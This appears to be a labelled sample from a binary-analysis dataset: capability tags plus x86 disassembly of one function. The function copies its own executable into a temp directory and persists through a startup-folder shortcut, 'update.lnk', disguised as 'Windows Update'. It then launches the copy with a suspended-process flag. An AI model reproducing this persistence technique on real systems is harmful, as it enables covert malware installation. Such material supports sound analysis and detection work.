Function at 0x4072f0
Capabilities:
Accept command line arguments
Copy file
Create directory
Create process on windows
Create process suspended
Delete file
Get common file path
Get startup folder
Persist via lnk shortcut
Set current directory
Terminate process
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x421149
mov eax, dword fs:[0]
push eax
mov eax, 0x160c
call fcn.004209a0
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1424], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [ebp - 0x1424]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ecx, dword [ebp - 0x1424]
mov esi, eax
sub ecx, 1
je 0x407479
sub ecx, 1
jne 0x40745d
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [esi + 4]
push 0
push eax
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0xb0
lea eax, [ebp - 0x1588]
push 0
push eax
call fcn.00409f20
push ecx
lea ecx, [ebp - 0x1588]
call fcn.004036f0
lea ecx, [ebp - 0x1588]
mov dword [ebp - 4], 0xd
call fcn.00404500
lea ecx, [ebp - 0x1584]
call fcn.00403fb0
test eax, eax
jne 0x4073e4
mov eax, dword [ebp - 0x1588]
lea ecx, [ebp - 0x1588]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004024d0
mov eax, dword [ebp - 0x1588]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1588]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x158c], eax
lea ecx, [ebp - 0x1584]
call fcn.00403380
mov eax, dword [ebp - 0x1588]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1588]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x158c], eax
lea eax, [ebp - 0x1520]
mov dword [ebp - 4], 0xe
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00408beb
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00407a16
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x420]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea eax, [ebp - 0x420]
push eax
call esi
push 0
push 0x42de1c
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40745d
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x15b8]
call fcn.004013b0
push ecx
push 0x42de40
push ecx
lea ecx, [ebp - 0x15a0]
mov dword [ebp - 4], 0
call fcn.00401680
lea eax, [ebp - 0x15a0]
mov byte [ebp - 4], 1
push eax
lea edx, [ebp - 0x15b8]
lea ecx, [ebp - 0x14a8]
call fcn.004077d0
add esp, 4
lea ecx, [ebp - 0x14a8]
call fcn.00401340
push eax
call esi
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.00409f20
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x14c0]
call fcn.00406bf0
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 3
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
lea ecx, [ebp - 0x14c0]
call fcn.00407760
push 0x4290e4
lea edx, [ebp - 0x14a8]
lea ecx, [ebp - 0x1600]
call fcn.00406c10
lea ecx, [ebp - 0x14c0]
mov byte [ebp - 4], 4
push ecx
mov edx, eax
lea ecx, [ebp - 0x143c]
call fcn.00406c80
add esp, 8
lea ecx, [ebp - 0x1600]
mov byte [ebp - 4], 6
call fcn.00401350
push 0
lea ecx, [ebp - 0x143c]
call fcn.00401340
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x1000
lea eax, [ebp - 0x1420]
push 0
push eax
call fcn.00409f20
add esp, 0xc
lea eax, [ebp - 0x1420]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push str.update.lnk
lea ecx, [ebp - 0x1618]
call fcn.00401540
push eax
lea edx, [ebp - 0x1420]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x14d8]
call fcn.00401580
add esp, 4
lea ecx, [ebp - 0x1618]
mov byte [ebp - 4], 9
call fcn.004014f0
lea ecx, [ebp - 0x14d8]
call fcn.004014e0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.Windows_Update
lea ecx, [ebp - 0x15d0]
call fcn.004013b0
lea eax, [ebp - 0x143c]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x15e8]
call fcn.004065f0
push ecx
lea ecx, [ebp - 0x15d0]
mov byte [ebp - 4], 0xb
call fcn.00401340
push eax
lea ecx, [ebp - 0x14d8]
call fcn.004014e0
lea ecx, [ebp - 0x15e8]
mov esi, eax
call fcn.00401340
mov edx, esi
mov ecx, eax
call fcn.00401260
xorps xmm0, xmm0
mov dword [ebp - 0x1480], 0x44
push 0x429124
lea edx, [ebp - 0x143c]
movlpd qword [ebp - 0x147c], xmm0
lea ecx, [ebp - 0x1600]
movlpd qword [ebp - 0x1474], xmm0
movlpd qword [ebp - 0x146c], xmm0
movlpd qword [ebp - 0x1464], xmm0
movlpd qword [ebp - 0x145c], xmm0
movlpd qword [ebp - 0x1454], xmm0
movlpd qword [ebp - 0x144c], xmm0
movlpd qword [ebp - 0x1444], xmm0
movups xmmword [ebp - 0x1490], xmm0
call fcn.00406c10
lea ecx, [ebp - 0x218]
mov byte [ebp - 4], 0xc
push ecx
mov edx, eax
lea ecx, [ebp - 0x1618]
call fcn.00407820
add esp, 0x10
lea ecx, [ebp - 0x143c]
push eax
call fcn.00406560
lea ecx, [ebp - 0x1618]
call fcn.00401350
lea ecx, [ebp - 0x1600]
call fcn.00401350
lea eax, [ebp - 0x1490]
push eax
lea eax, [ebp - 0x1480]
push eax
push 0
push 0
push 0x200
push 0
push 0
push 0
lea ecx, [ebp - 0x143c]
call fcn.00401340
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]